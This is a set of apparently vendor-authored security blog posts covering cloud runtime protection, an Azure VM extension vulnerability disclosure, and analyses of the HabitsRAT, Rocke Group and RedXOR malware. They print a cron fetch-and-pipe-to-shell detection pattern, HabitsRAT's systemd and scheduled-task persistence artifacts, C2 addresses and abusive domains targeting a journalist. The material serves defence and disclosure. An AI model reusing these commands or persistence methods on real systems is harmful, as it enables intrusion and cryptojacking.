Thu, 20 May 2021 00:00:00 +0000

73% of organizations using the cloud are not sure which parts of security fall under their responsibility. Ultimately, the customer is responsible for security in the cloud, meaning protecting the workloads (applications and code) hosted on top of the virtual resources created in the cloud provider’s platform. Whereas the cloud provider is responsible for the security of the cloud, meaning the physical infrastructure (e.g., data centers, network and server equipment) and for operating that infrastructure (e.g., physical security, power redundancy, connectivity between facilities). The big three cloud providers, Amazon Web Services (AWS), Microsoft Azure and Google Cloud Platform (GCP), offer various built-in tools and services designed to prevent a wide range of attacks and reduce the attack surface. Yet, breaches still happen. Let’s examine some cases where the security tools provided by the cloud provider were not enough to fully secure the customer’s environment.

Security in the Cloud

Before we get started, it’s important to note that most cloud monitoring tools are based on one or more of the following categories:

Network security – Firewalls, networking segmentation and protection against DDoS attacks.
Vulnerability management – Scanning and patching vulnerabilities in the cloud system.
Cloud Workload Protection Platforms (CWPP) – Focus on securing the workloads themselves with runtime visibility and protection.
Cloud Security Posture Management (CSPM) – Find misconfigurations and security risks based on predefined security policies in the cloud infrastructure. In some cases, remediation can be automated to terminate an attack.
SIEM capability – A combination of security event management (SEM) and security information management (SIM). The goal is to collect logs from different sources and take the appropriate action when an incident happens.

The security tools provided by the cloud providers are not bulletproof though. Certain attack vectors, such as unknown vulnerabilities and supply chain backdoors, are not preventable.

Cloud Snooper Attack Bypasses Firewall

The Cloud Snooper attack bypassed the on-premise AWS Network Firewall using a rootkit. The rootkit hid the communication with the Command and control (C2) server by disguising it as “innocent” packets and then dropped a RAT. The attackers had control over the victims and a safe channel to communicate with the C2. Despite having a well-configured firewall the attackers still managed to infiltrate the system, meaning the security tools of AWS couldn’t stop this attack. Having runtime visibility is an important last line of defense, since it detects the execution of any unauthorized code or commands which are critical for an attacker to carry out a successful attack. AWS doesn’t support this capability, therefore the cloud customer should leverage third party tools for workload-centric security and runtime protection.

Security Tools Have Vulnerabilities Too

Cloud services have their own vulnerabilities which can be exploited as an initial attack vector. The problem is it’s nearly impossible to eliminate all software vulnerabilities, especially for large deployments spread across multiple clouds and when using third parties. Consider that not every software has a fix and not every vulnerability is known. Not to mention, fixing vulnerabilities takes time and third party vulnerable software also exists. Relying only on the cloud provider’s tools is not enough because once a vulnerability in the tool is exploited by an attacker, the only way to detect and stop the attack is by detecting unauthorized code or commands in runtime. This capability is not natively supported by AWS and GCP. Azure offers Microsoft defender however it has limited support for Linux which runs 90% of the cloud.

Misconfigurations are the Leading Cause of Attacks

A whopping 99% of cloud security failures are expected to be the fault of the customer through 2025. Despite the variety of tools and policies, setting up and maintaining a secured environment relies on skilled and experienced professionals. Yet, people can make mistakes that can compromise information or expose the infrastructure to attacks. For example: FedEx exposed information by leaving an exposed storage server. The Pentagon exposed 100 GB of data from a joint intelligence program with the U.S. Army and National Security Agency. The data had been available for years in a publicly exposed S3 bucket. The attack using a misconfigured Docker port drops the Doki malware which installs a backdoor on the victim’s machine and executes a cryptomining malware. 73% of companies leave SSH ports publicly exposed. Sometimes the user is not aware of the misconfiguration only until a breach occurs and the damage is done. In this case, a runtime protection solution can stop the attack before it causes more damage.

Unauthorized Access to Cloud Workloads

Credentials and permissions have an important role in securing the infrastructure and cloud providers offer dedicated tools like Identity and Access Management (IAM). However, when attackers or malicious insiders gain or steal credentials to cloud assets they can cause extensive damage to the entire cloud environment. Attackers used Tesla’s Kubernetes dashboard that was exposed to the public internet and not password protected. One of the pods contained access credentials for Tesla’s AWS environment which included an Amazon S3 bucket that stored sensitive information and telemetry. The attackers ran cryptomining malware on the server and took measures to hide the activity of the miner. The attackers used atypical ports for communicating with the mining pools and they also did not use well-known mining pool hosts. When an attacker bypasses all security measures, having clear visibility into what code is running on your systems enables you to identify and stop the attack before the attacker gains remote access to other assets. Having runtime security measures in the environment will help to identify and mitigate attacks on cloud workloads. But not all cloud vendors have these tools, specifically for Linux.

You Need Runtime Protection

Currently, AWS and GCP do not offer a runtime Cloud Workload Protection Platform (CWPP) focused on what is running “inside the machine.” Azure has a CWPP but it’s mostly focused on Windows threats, which means you still need a third party tool to secure your Linux workloads. Runtime visibility and protection for your cloud-hosted applications is a critical control that is not supported by the cloud providers. At Intezer, we recommend protecting the runtime environment as a key security control. Most research shows that nearly all successful attacks are based on running unauthorized code or commands, regardless of how the attacker got in. Risk reduction programs like vulnerability scanning and misconfiguration management are very important but they take a lot of time. If you take an assume breach mentality, an attacker will eventually get through, making the last line of defense a priority. Protecting the runtime environment buys you time to do larger programs to reduce risk and have a more holistic cloud security. Runtime protection is also needed to detect and respond to attacks. If an attacker exploits an unknown vulnerability or a backdoor in the supply chain you must be able to detect it.

CVE-2021-27075: Microsoft Azure Vulnerability Allows Privilege Escalation and Leak of Private Data

Tue, 11 May 2021 00:00:00 +0000

In this post I will explain how the Microsoft Azure Virtual Machine (VM) extension works and how we found a fatal vulnerability in the extension mechanism affecting Azure VM Linux systems. As part of the responsible disclosure policy, we reported the vulnerability to Microsoft Security Response Center (MSRC). They soon patched and assigned it CVE-2021-27075. This vulnerability would have allowed an unprivileged user to leak any Azure VM extension’s private data. Paired with the design of the VMAccess extension, an official Azure extension built for assisting system admins, we will demonstrate how this could have been used to achieve privilege escalation and possibly lateral movement.

Proof of Concept

Azure VM Extensions

Azure VM offers developers and admins an integrated plugin system to install additional components onto their machines. Both first party (e.g., Microsoft Azure Diagnostics and Microsoft Azure Network Watcher) and third party apps (like Datadog Agent) are offered through this mechanism.

To manage extension installations and keep them up to date, Microsoft Azure Guest Agent is installed on the system. This component is open-source and hosted on GitHub. This agent, along with Azure extensions, is installed at /var/lib/waagent. This directory is inaccessible for non-root users as it contains extension-related secrets.

Extensions are installed in this directory in their own sub directories, e.g., /var/lib/waagent/Microsoft.Azure.NetworkWatcher.NetworkWatcherAgentLinux-1.4.1587.1 Many shared configurations are laid out in the root extension directory /var/lib/waagent. Here is an example of the directory layout:

/var/lib/waagent directory structure

When an extension is added to the VM, the extension’s configuration file is updated behind the scenes in the Azure VM manager, also known as the Fabric Controller. The WAAgent constantly polls the Fabric Controller for this file, and once updated, the extension is downloaded and deployed. In Microsoft Azure Cloud, the WAAgent communicates with the ‘Wire Server,’ an HTTP service belonging to the Fabric Controller. WAAgent communicates with the Fabric Controller by accessing a special IP address: 168.63.129.16. Through some testing, we discovered that this endpoint is the same as 169.254.169.254, better known as the Azure Instance Metadata Service IP address. The WAAgent receives the extension configuration URL by parsing the ‘GoalState.’

GoalState endpoint request

A response looks like this:

GoalState endpoint response

The GoalState contains URLs to all relevant configurations available to the Wire Server. Using the GoalState we can query the ExtensionsConfig file ourselves:

ExtensionsConfig endpoint request

Here is an example of how the LinuxDiagnostic extension configuration might look:

ExtensionsConfig endpoint response

The protectedSettings field holds sensitive extension configurations such as private keys and is additionally protected with an encryption scheme. The protectedSettingsCertThumbprint field holds the filename of the key used to decrypt the protectedSettings. This key is stored in /var/lib/waagent/F54265F38F8D16C35C0E1FD3190882831A6C4384.prv with its certificate stored in /var/lib/waagent/F54265F38F8D16C35C0E1FD3190882831A6C4384.crt.

The private key and certificate pair are not supplied by the ExtensionConfig file. So, how do they get deployed to the server?

For this deployment, the Certificates endpoint is used. After reverse engineering the WAAgent communication with the Wire Server, we observed that the Certificates endpoint requires a ’transport’ certificate which is used to supply the F542… extension key:

Certificates endpoint request

The Wire Server returns an encrypted form of the extension key which can be decrypted via the Transport Certificate’s private key.

Certificates endpoint response

Leaking Azure VM Extensions’ Private Data

Flaw #1: Certificates Endpoint Does Not Validate Transport Certificate

An attacker can create their own Transport Private Key and its corresponding Transport Certificate. Using the Certificate endpoint, the attacker supplies their own Transport Certificate and receives an encrypted form of the keys from the Wire Server (in our example this is the F54265F38F8D16C35C0E1FD3190882831A6C4384 key).

Finally, the encrypted keys are decrypted via the Transport Key and the attacker can proceed to decrypt the protectedSettings:

To our surprise, after developing the PoC with the root user, it would not work with an unprivileged user. It seems that packets destined to the Wire Server endpoint at 168.63.129.16 were not sent out by the server. This is because of an iptables rule that drops packets which aren’t from user ID 0 (root) to the endpoint:

Azure VM IPTables

Flaw #2: Bypassing Wire Server Unprivileged Access Defense

As mentioned earlier, we discovered that 164.254.164.254 is the same machine as 168.63.129.16. We replaced every request to 168.63.129.16 with 164.254.164.254 and this allowed us to communicate with the Wire Server without a privileged user. In addition, this iptables defense did not apply to processes that run in Docker containers (even when the PoC ran as an unprivileged user), allowing containers to leak information about their host through the Wire Server. This issue was fixed by MSRC as well.

Combining the Flaws

Utilizing both flaws, an unprivileged user can leak any Azure VM extension’s private settings. This is especially dangerous when paired with extensions that handle sensitive data.

A particularly severe example is the VMAccess extension, an official Microsoft Azure extension used for changing passwords conveniently on controlled machines. Guardicore previously documented that VMAccess persists passwords in the protectedSettings field even after it’s done changing the user’s password and no longer needs to keep it on disk.

Combined with the vulnerability we found, an attacker would be able to elevate themself to a higher privileged user by leaking the VMAccess admin password. Also, in the event that the VMAccess password is shared with other Azure VMs (as is often the case), the attacker could perform lateral movement across the system. This is what the flow looks like:

Vulnerability flow

And the proof of concept:

Leaking VMAccess extension data

Takeaways

The CVE issued by Microsoft also applies to other Azure products such as Azure Spring Cloud, as discovered by researcher Wouter ter Maat independently at a later date, who was also credited in the CVE. Microsoft fixed the issue after revamping the whole Linux extension mechanism and no user interaction is needed to update VMs. This research is meant to further the discussion around the relationship between cloud service providers (CSPs) and their customers. Ultimately, the customer is responsible for any data breach that occurs. For a more complete cloud security strategy, Intezer recommends adopting a two-pronged approach. Do the basics, like fixing known vulnerabilities and hardening your systems to reduce the likelihood of getting attacked. You also need runtime threat detection to identify and respond to attacks as they occur following unknown vulnerability exploitation or a backdoor in the supply chain.

HabitsRAT Used to Target Linux and Windows Servers

Tue, 20 Apr 2021 00:00:00 +0000

We have discovered a new malware written in Go, which we are calling HabitsRAT, targeting both Windows and Linux machines. The Windows version of the malware was first reported on by Brian Krebs and The Shadowserver Foundation in attacks against Microsoft Exchange servers. In addition to this version, we have identified a newer Windows variant and a variant targeting Linux environments. As of this writing, the Linux version is undetected by all Antivirus engines on VirusTotal. We assess that the Linux version is used to target Linux servers in an adjacent campaign to the one reported by The Shadowserver Foundation. The malware allows the attacker to control the compromised machine remotely. To protect themself from being taken over by others, the attacker’s commands are signed by a private key that only the attacker has access to. The malware does not execute commands that are not signed by the correct key, suggesting that the malware has been developed by a sophisticated programmer.

Intro

On March 28th, Brian Krebs published a blog post about attacks against Microsoft Exchange servers. In one of those attacks, a webshell called “Babydraco” was deployed. The webshell was used to deploy a new malware. The binary had the filename krebsonsecurity.exe and used a Command and Control (C2) server located at brian[.]krebsonsecurity[.]top. This malware turns out to be a remote access trojan (RAT) that has been written to target both Windows and Linux machines. Based on strings found in the malware, we have named it HabitsRAT.

While the Windows version of the RAT has been documented being installed on compromised Microsoft Exchange servers, it is not known what type of servers the Linux version is used against. Still, in the last couple of months, numerous remote code execution (RCE) vulnerabilities have been disclosed in hardware and services running on top of Linux. About a month ago, CISA released an advisory urging users of F5 BIG-IP to apply patches to address RCE vulnerabilities.

Technical Analysis

The HabitsRAT is a simple backdoor that allows the malware operator to execute arbitrary code on the infected machine. While the backdoor is simple in design, the malware has functionality making the attack more complex than what is normally seen. The malware is written in Go and targets at least both Windows and Linux machines. The structure for the Windows version of the malware, generated by redress, is shown in the code snippet below. Most of the code is shared between the Windows version and the Linux version. The operating system-specific code has been placed in the files commandplatform_windows.go, keyplatform_windows.go and persistencehandler_windows.go. The rest of the files are shared with the Linux version.

Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_windows.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 42 (19)
GetKeyStore Lines: 42 to 50 (8)
SetKey Lines: 50 to 68 (18)
GetKey Lines: 68 to 77 (9)
File: keyplatform_windows.go
GetRootKeyStore Lines: 11 to 19 (8)
GetUserKeyStore Lines: 19 to 27 (8)
IsRoot Lines: 27 to 49 (22)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 22 (5)
File: persistencehandler_windows.go
CheckPersistence Lines: 11 to 21 (10)
GetBinStoreRoot Lines: 21 to 29 (8)
GetBinStoreUser Lines: 29 to 37 (8)
InstallPersistRoot Lines: 37 to 98 (61)

The Linux source code structure is shown in the code snippet below. The Linux specific code has been placed in the files commandplatform_linux.go, keyplatform_linux.go and persistencehandler_systemd_linux.go.

Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_linux.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 46 (23)
GetKeyStore Lines: 46 to 54 (8)
SetKey Lines: 54 to 72 (18)
GetKey Lines: 72 to 84 (12)
IsRootAsString Lines: 84 to 86 (2)
File: keyplatform_linux.go
GetRootKeyStore Lines: 9 to 16 (7)
GetUserKeyStore Lines: 16 to 17 (1)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 20 (3)
File: persistencehandler_systemd_linux.go
Systemd_CheckPersistence Lines: 11 to 25 (14)
Systemd_GetBinStoreUser Lines: 25 to 33 (8)
Systemd_InstallPersistRoot Lines: 33 to 64 (31)

Installation

When the binary is run, it installs itself into a folder. The Windows version’s location is %SystemDrive%WindowsDefenderMsMpEng.exe while the Linux version is $HOME/.config/polkitd/polkitd. This will result in the malware being installed under /root if it’s being run with root privileges.

After the malware has installed itself, it checks if the persistence method has been set up. If it hasn’t, it goes ahead and sets it up. On Linux, it uses a “systemd” unit file. The malware checks if it’s already configured by executing the command systemctl status polkitd, as shown in Figure 1.

Figure 1: Linux version of the malware checks if persistence has been configured already.

The systemd unit file is created at /etc/systemd/system/polkitd.service and its content is shown in the code snippet below.

[Unit]
Description=Authorization Manager
After=network.target
[Service]
GuessMainPID=no
ExecStart="/path/to/binary"
Restart=always
[Install]
WantedBy=multi-user.target

The Windows version of HabitsRAT uses scheduled tasks for persistence. First, it writes the scheduled task “xml” to a file located at %TEMP%\krebsonsecurity.xml. The content of the file is shown in the snippet below. The task is added by executing the shell command: sCHtAsks.exe /create /xml %TEMP%\krebsonsecurity.xml /tn WindowsDefenderScan

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <RegistrationInfo>
 <Date>2020-12-18T09:56:46.3915265</Date>
 <Author>Microsoft Corporation</Author>
 <URI>\Microsoft\MicrosoftUpdater</URI>
 </RegistrationInfo>
 <Triggers>
 <BootTrigger>
 <Enabled>true</Enabled>
 <Delay>PT1M</Delay>
 </BootTrigger>
 </Triggers>
 <Principals>
 <Principal id="Author">
 <UserId>S-1-5-18</UserId>
 <RunLevel>HighestAvailable</RunLevel>
 </Principal>
 </Principals>
 <Settings>
 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
 <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
 <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
 <AllowHardTerminate>false</AllowHardTerminate>
 <StartWhenAvailable>true</StartWhenAvailable>
 <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
 <IdleSettings>
 <StopOnIdleEnd>true</StopOnIdleEnd>
 <RestartOnIdle>false</RestartOnIdle>
 </IdleSettings>
 <AllowStartOnDemand>true</AllowStartOnDemand>
 <Enabled>true</Enabled>
 <Hidden>false</Hidden>
 <RunOnlyIfIdle>false</RunOnlyIfIdle>
 <WakeToRun>false</WakeToRun>
 <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
 <Priority>7</Priority>
 </Settings>
 <Actions Context="Author">
 <Exec>
 <Command>
 pathtobinary
 </Command>
 </Exec>
 </Actions>
</Task>

Command and Control Communication

The RAT uses public-key cryptography to both encrypt and authenticate the commands from the C2 server. The malware generates a public-private key pair using an open-source library provided by Proton Mail. Figure 2 shows the call to the GenerateKey function and its arguments. The malware uses the machine’s hostname as the name and an email address of “a@a.a”. No password is provided and it’s requesting a 2048-bit RSA key to be used.

The key is stored and written to disk. The Linux version of HabitsRAT writes to $HOME/.config/.accounts-daemon/accounts-daemon.login.conf if it is running as a normal user or to /usr/share/accounts-daemon/accounts-daemon.so. The Windows version uses %SystemDrive%WindowsDefenderMsMpEng.dll or %APPDATA%Windows NTDefenderMsMpEng.dll instead.

Figure 2: Generation of public-private key pair using the open-source library from Proton Mail.

HabitsRAT sends a “check-in” POST request to the C2 server to see if it should execute a command. As part of the request, it sends some data about the infected machine. The form data of the request is shown below. The data includes the no_replay field that holds the sha256 hash of some random data. This acts like a nonce to prevent executing the same request multiple times. The request also includes the public key for the malware instance. This is to allow the C2 server to encrypt the commands to it. It also has a version value that is hardcoded to 11.

no_replay: [sha256 hash of random data]
public_key: public key in ascii armour
hostname: [machine hostname]
goos: [linux or window]
goarch: amd64
shell: [$SHELL expanded]
root: [true or false]
version: 11

The data is sent to https://brian.krebsonsecurity[.]top/checkin. If no command is returned, the malware sleeps for 10 seconds and sends the request again. If the C2 responds with data, the malware checks that the threat actor’s key has signed it. A hardcoded public key is included in the binary. Extracted information from the key shows that it was generated in December 2020 and includes a name and a Gmail address.

pub rsa3072 2020-12-03 [SC] [expires: 2022-12-03]
uid [REDACTED] <[REDACTED]@gmail.com>
sub rsa3072 2020-12-03 [E] [expires: 2022-12-03]

If the correct key has signed the response, HabitsRAT uses its private key to decrypt the payload. The data has been serialized to JSON and the malware unmarshals it to the data structure shown below.

type main.CommandList struct {
 No_replay string
 Commands []string
}

The Commands field is passed as arguments to either bash -c for the Linux version or cmd /c for the Windows version.

HabitsRAT Version 12

A newer Windows version of HabitsRAT has also been found. Much of the functionality is the same as version 11. The main difference is that it’s using a different C2 public key and supports multiple C2 addresses. As can be seen from the snippet below, this key was generated on the 2nd of April.

pub rsa3072 2021-04-02 [SC] [expires: 2023-04-02]
uid Brian Krebs <krebsonsecurity@gmail.com>
sub rsa3072 2021-04-02 [E] [expires: 2023-04-02]

The malware uses four different C2 addresses and picks one out of random. The addresses are as follows, which includes a domain of Brian Krebs’s leaked social security number:

https://brian-krebs-erectile-dysfunction[.]com
https://krebsonfellatio[.]net
http://XXX-XX-XXXX.com (Redacted)
hxxp://185.193.126.198

The addresses are stored at:

%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll

Conclusion

The HabitsRAT is a multi-operating system malware targeting both Windows and Linux environments. There is a lot of code reuse between the two variants. It provides the attacker with the capability to execute arbitrary code on the infected machine. To protect its C2 communication, the data is encrypted and signed using PGP. Ensure internet facing servers are patched to prevent being infected by HabitsRAT. Indicators of Compromise (IoCs) below can be used to detect if a server has been compromised. Go malware has been hard to detect by Antivirus products so it’s likely this trend will continue. We have seen threat actors pivot and target different operating systems with the same codebase for the malware, resulting in low or undetected malware samples, especially for Linux—which has a large presence in the cloud. Since the malware is derived from the same codebase, detection based on code reuse has proven to be very effective.

Runtime protection with Intezer Protect gives you immediate visibility over all code running in your systems and alerts you whenever unauthorized or malicious code is executed. Intezer Protect users can detect and mitigate threats like HabitsRAT on their Linux systems. Protect 10 hosts for free with our community edition.

Figure 3: HabitsRAT detection in Intezer Protect.

IoCs

Hashes

Windows version of HabitsRAT

29ebf9771e52cde90776eeccd89aaf4c19577ef136258daef1a17c767ce88c9d
37a16e79e5be132d7e6c2e1ee482d80d93ad942af7110a4bc3a05f0b575236b0
5f7d898ade3162bfb0c8d3006c42e934ff81fab3b4ad3b51c13441fd63e438cb
9e840be4b4ab358bc3405e2c688f3ab1a9d286bd4fb9edb4468dc688962b4893
f556c9b4e5bb463be84dead45a9aedcf8bec41c1c2b503ea52719357943750e7

Linux version of HabitsRAT

338e41f1a8be56339b039835b06d815a3666c8b0d5725b63be7bf54c8745704a

File paths

%SystemDrive%\Windows\Defender\MsMpEng.exe
$HOME/.config/polkitd/polkitd
/etc/systemd/system/polkitd.service
%TEMP%\krebsonsecurity.xml
$HOME/.config/.accounts-daemon/accounts-daemon.login.conf
/usr/share/accounts-daemon/accounts-daemon.so
%SystemDrive%\Windows\Defender\MsMpEng.dll
%APPDATA%\Windows NT\Defender\MsMpEng.dll
%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll

Network indicators

brian[.]krebsonsecurity[.]top
brian-krebs-erectile-dysfunction[.]com
krebsonfellatio[.]net
185.193.126.198

C2 public keys

Version 11

Version 12

Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys

Tue, 06 Apr 2021 00:00:00 +0000

New Malware Variant Exploits Production Environment

Rocke Group is a Chinese-based threat actor most known for running cryptojacking malware on Linux machines. The group has been active since 2018 and continues to evolve by modifying its tools and techniques to stay evasive. In 2019, we reported that Rocke Group was competing with Pacha Group for cryptomining positioning on Linux-based servers in the cloud. We have found a new malware variant developed by Rocke Group, that infects other machines in the network using saved SSH keys and weak passwords. It also exploits vulnerabilities in popular platforms and services such as Jenkins, Redis and ActiveMQ. Once the victim is infected a Monero cryptominer is executed. Below we present our findings with instructions on how to check if your system has been compromised, as well as how to protect your cloud environments against future Rocke Group attacks.

Capabilities and Findings on Rocke Group Malware

The malware that is initially delivered to the victim’s server is packed with a modified UPX which can make it harder for some Endpoint Detection and Response (EDR) products to detect the malicious code. This threat contains a number of modules that are stored in a compressed form inside the malware, and during the execution the payloads are extracted and executed. Rocke Group uses a new script that downloads malware from a hosting server and executes it. The malware then uses public SSH keys, which are saved in a file called known_hosts on the victim’s Linux machine, to infect other machines on the network. The malware archives persistence using a scheduled task in crontab and bashrc files. It creates a service that controls the execution of the malware and configures it to be executed on startup. The payload of the service is extracted from within the Rocke Group sample. Next, the malware attempts to spread in the network by brute forcing SSH, Redis and Jenkins with weak passwords. Then, it exploits vulnerabilities. For Jenkins it uses two vulnerabilities for executing code (CVE-2018-1000861, CVE-2019-1003000) and for ActiveMQ it tries to do an arbitrary file writing (CVE-2016-3088). To hide the activity of the malware, it implements an evasion technique that uses library hijacking. This way the information retrieved by system commands is altered in a way that hides resources used by the malware and its components. For instance, running the top command will not show the high CPU usage caused by the cryptomining malware. One of the compressed modules is an XMRig Miner. Before the miner is executed the dropper kills any other process that uses more than 30% of the cloud server’s CPU, this way the cryptominer will have all of the CPU for itself.

Detection and Response

Detect if a machine in your system has been compromised by following all of these steps:

The malware creates files in the following directories:

/usr/local/sbin
/usr/local/bin
/usr/bin
/usr/libexec
/tmp

Check if there are suspicious files in these locations. This campaign is known for using similar names to valid Linux services and file names such as kerberods, so pay attention to the files you see in these directories. In other cases, it uses file names like: 6ff4ba5d0de4498. In addition, the malware changes the timestamps of files created during the attack so that they appear older. You should not rely on the creation/modification time of the files.

Response: Remove the malicious files.

MITRE Technique: Masquerading (T1036)

Check if there is a service that listens on port 61131 for incoming connections. Use the command: netstat -tupln

Response: Find the PID of the process and kill it. Run the following command to get the PID:

netstat -ltnp | grep -w ':61131'

and then run the following to kill the process:

sudo kill -9 <PID>

Check if you have a service called sshservice.service. You can do this by running: systemctl status sshservice.service

Response: Stop and remove the service by running these commands:

systemctl stop [servicename]; systemctl disable [servicename]; rm /etc/systemd/system/[servicename]; rm /etc/systemd/system/[servicename]; rm /usr/lib/systemd/system/[servicename]; rm /usr/lib/systemd/system/[servicename]; systemctl daemon-reload systemctl reset-failed

MITRE Technique: Create System Process (T1543) and Masquerading (T1036)

Check if the cron jobs include commands in the following format: */15 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- )|sh
Check the following location of scheduled jobs:
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /etc/cron.d/root

Response: Delete these commands from the crontab.

MITRE Technique: Scheduled Task/Job (T1053)

Check that /etc/bashrc contains commands in the same format as the crontab files

Response: Delete the commands from the file.

MITRE Technique: Event Triggered Execution using .bashrc file (T1546)

This campaign uses DNS over HTTPs (DoH) to obtain the address of the C2 server using hard-coded domains that send back an encrypted DNS record. Inspect your network traffic for anomalies in HTTPs packages. Check if your machine tried to access one (or more) of the following domains:
- Update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
- cloudflare-dns[.]com

MITRE Technique: Protocol Tunneling (T1572) and Encrypted Channel (T1573)

The malware tries to infect other machines in the network by brute forcing weak passwords and exploiting vulnerabilities in Jenkins, Redis, SSH and ActiveMQ. Follow all of the steps above for machines that have these services.

MITRE Technique: Network Service Scanning (T1046)

TTPs now available in Intezer. Speed up malware analysis with relevant insights to understand how malware behaves.

Be Proactive

Use strong passwords for SSH, Jenkins and Redis services. It is also highly recommended to use TLS authentication.
Use different passwords and authentication keys for each machine in the network.
Make sure that your Jenkins and ActiveMQ services have the latest updates.
Restrict access to services and machines, and give only the required permissions for each user.
Filter network traffic to untrusted or known bad domains.
Apply detection of anomalies in the networks to detect suspicious communication that digresses from the usual traffic.

Runtime Protection is a Must

This attack is sophisticated in that it implements evasion techniques making detection much harder. It also spreads to other services and machines on the network making it harder to respond to. Runtime protection gives you immediate visibility over all code running in your systems and alerts you whenever unauthorized code is executed. So, if Rocke Group attacks an environment with runtime protection, the user would immediately get an alert on all infected machines with the ability to terminate the malicious processes. While there are dozens of cloud attack vectors that threat actors can utilize, such as software vulnerabilities and misconfigurations, eventually all attackers must run code or commands in the production environment to conduct any damage. Consider that it’s not realistic to be able to close all attack vectors. Not only does it take time to fix vulnerabilities, but there are always attack vectors that are practically impossible to prevent such as supply chain or unknown vulnerabilities. Recent attacks have shown that Linux cryptominers and other threats will find their way into the production environment no matter how hard you work to reduce the attack surface. Runtime protection is a necessary last line of defense as actors like Rocke Group remain active.

Thanks to Joakim Kennedy for contributing to this post.

IoCs

Dropper Script

f947e69f9f8d113fb9fba3e795827110ee17feb310b54a7f7b6672a5386a3de2

Malware

fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d

Mining Pool

minexmr[.]com pool

XMRig Miner

398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2

Domains Used to Download the Malware

img[.]sobot.com
cdn[.]xiaoduoai.com
https://user-images[.]githubusercontent.com

Domains Used for Resolving the C2 Address

update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
cloudflare-dns[.]com

New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor

Wed, 10 Mar 2021 00:00:00 +0000

We discovered a new sophisticated backdoor targeting Linux endpoints and servers
Based on Tactics, Techniques, and Procedures (TTPs) the backdoor is believed to be developed by Chinese nation-state actors
The backdoor masquerades itself as polkit daemon. We named it RedXOR for its network data encoding scheme based on XOR. The malware was compiled on Red Hat Enterprise Linux
We provide recommendations for detecting and responding to this threat below

Intro

2020 set a record for new Linux malware families. New malware families targeting Linux systems are being discovered on a regular basis. Backdoors attributed to advanced threat actors are disclosed less frequently.

We have discovered an undocumented backdoor targeting Linux systems, masqueraded as polkit daemon. We named it RedXOR for its network data encoding scheme based on XOR.

Based on victimology, as well as similar components and Tactics, Techniques, and Procedures (TTPs), we believe RedXOR was developed by high profile Chinese threat actors. The samples, which have low detection rates in VirusTotal, were uploaded from Indonesia and Taiwan, countries known to be targeted by Chinese threat actors. The samples are compiled with a legacy GCC compiler on an old release of Red Hat Enterprise Linux, hinting that RedXOR is used in targeted attacks against legacy Linux systems.

During our investigation we experienced an “on and off” availability of the Command and Control (C2) server indicating that the operation is still active.

Connections to Chinese Threat Actors

We uncovered key similarities between RedXOR and previously reported malware associated with Winnti umbrella threat group. These malware are PWNLNX backdoor and XOR.DDOS and Groundhog, two botnets attributed to Winnti by BlackBerry.

The below samples can be used for reference:

PWNLNX – 4278ab79c34ea92788259fb43e535aa3
XOR.DDOS – d6a6dee6afa6879b729a0af3cde7ff33

Similarities between the samples:

Use of old open-source kernel rootkits: RedXOR uses an open-source LKM rootkit called “Adore-ng” to hide its process. Based on a FireEye report Winnti used this rootkit in their “ADORE.XSE” Linux backdoor. Embedding open-source LKM rootkits is a common Winnti technique. The group has been documented using Azazel and Suterusu.
The CheckLKM function name used by RedXOR has also been used in PWNLNX and XOR.DDOS.
Provides the operator with a pseudo-terminal: RedXOR uses Python pty shell by importing the python pty library. PWNLNX implements the pty shell function in c.

Figure 1: Python pty shell used in RedXOR
Encoding network with XOR: The backdoor encodes its network data with a scheme based on XOR. Encoding network data with XOR has been used in previous Winnti malware including PWNLNX.
Persistence service name: As part of its persistence methods, RedXOR attempts to create a service under rc.d. The developer added “S99” before the name of the service to lower its priority and make it run last on system initiation. This technique was used in XOR.DDOS and Groundhog samples where the malware developer added “S90” to the service name.
Main functions flow: PWNLX and RedXOR have a main function which is in charge of initialization. In both backdoors, the main function calls another function which is in charge of the main logic. The main logic function names are main_process in RedXOR and MainThread in PWLNX. Both main functions daemonize the process to detach from the terminal and run in the background.
XML for file listing: RedXOR’s directory function and PWNLNX’s getfiles function are both in charge of directory listing. Their code flow implementation is different, however, as both malware send the directory listing as an XML file to the C2 server. Figure 2 shows the XML structure used in PWNLNX and RedXOR. The file’s data used in both functions are: path, name, type, user, permission, size, time.

Figure 2: The XML structure used by PWNLNX’s getfiles function and RedXOR’s directory function
Legacy Red Hat compilers: RedXOR and PWNLNX were both compiled with a Red Hat 4.4.7 compiler. This compiler is the default GCC compiler on RHEL6.
Chown similarity: Both PWNLNX and RedXOR change the file’s user and group owner to a large ID. The same technique has been used by the XOR.DDoS malware as referenced in the analysis by MalwareMustDie.

Figure 3: Similarity between PWNLNX and RedXOR of the UID and GID used with lchown function call
